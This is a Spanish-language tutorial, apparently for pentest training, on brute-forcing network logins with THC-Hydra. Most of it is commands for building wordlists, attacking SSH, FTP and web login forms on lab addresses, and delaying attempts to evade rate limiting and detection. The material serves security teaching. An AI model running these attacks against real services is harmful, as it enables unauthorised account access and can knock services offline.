THC-Hydra es la herramienta de fuerza bruta de inicio de sesión de red (online) más rápida y versátil del mercado. A diferencia de John the Ripper o Hashcat (que rompen hashes offline), Hydra ataca directamente a los servicios vivos en red. Es compatible con más de 50 protocolos: SSH, FTP, HTTP, SMB, RDP, MySQL, etc.
Un ataque de fuerza bruta es tan bueno como el diccionario (Wordlist) que utilices. Tirar palabras al azar no funciona hoy en día. Necesitamos inteligencia.
# 1. Rockyou (El clásico indispensable):
# Se encuentra en Kali Linux por defecto.
/usr/share/wordlists/rockyou.txt
# 2. Generar diccionarios personalizados con Crunch:
# Útil si sabes la política de contraseñas de la empresa.
# Ejemplo: Generar todas las combinaciones de 8 caracteres (minúsculas y números):
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o custom_wordlist.txt
# 3. CeWL (Custom Word List generator):
# Araña una web y crea un diccionario con las palabras que usa la empresa.
cewl -d 2 -m 5 -w corp_words.txt https://megacorp.local
La sintaxis básica para servicios estándar es sencilla. Ten cuidado con los bloqueos por intentos fallidos (Fail2Ban).
# Usuario conocido (admin) y diccionario de contraseñas (-P mayúscula):
hydra -l admin -P rockyou.txt ssh://192.168.1.10
# Lista de usuarios (-L) y lista de contraseñas (-P) (Ataque en clúster):
hydra -L users.txt -P rockyou.txt ftp://192.168.1.10
# Especificar un puerto no estándar (-s):
hydra -l root -P pass.txt -s 2222 ssh://192.168.1.10
# Aumentar la velocidad con hilos paralelos (-t):
# NOTA: Cuidado, demasiados hilos tirarán el servicio (DoS).
hydra -l root -P pass.txt -t 16 ssh://192.168.1.10
Atacar un formulario web es lo más complejo en Hydra porque requiere indicarle exactamente cómo se forma la petición HTTP. La estructura para el módulo http-post-form tiene 3 partes separadas por dos puntos (:):
/login.php).^USER^ y la contraseña por ^PASS^.Invalid credentials).# Ejemplo completo de ataque HTTP POST:
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Login failed"
# Si la web usa cookies (sesiones PHP), hay que añadirlas al final con "H=":
hydra -l admin -P pass.txt 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Login failed:H=Cookie: PHPSESSID=abc123"
Construir el comando de Hydra para atacar webs es un arte. Hemos interceptado una petición POST de un panel de administrador. Tu misión es analizar la estructura HTTP y escribir el comando exacto para lanzar el ataque.
>_ INICIAR RETO CTF 11Los firewalls detectarán un ataque de Hydra en milisegundos si no vas con cuidado.
# Añadir retraso entre intentos (-W) para evadir Rate Limiting (en segundos):
hydra -l admin -P pass.txt -W 3 ssh://192.168.1.10
# Pasar el tráfico por un Proxy (Ej: Burp Suite para debuggear qué hace Hydra):
export HYDRA_PROXY_HTTP="http://127.0.0.1:8080"
hydra -l admin -P pass.txt 192.168.1.10 http-get /admin
# Reanudar un ataque interrumpido (Hydra crea un archivo hydra.restore automáticamente):
hydra -R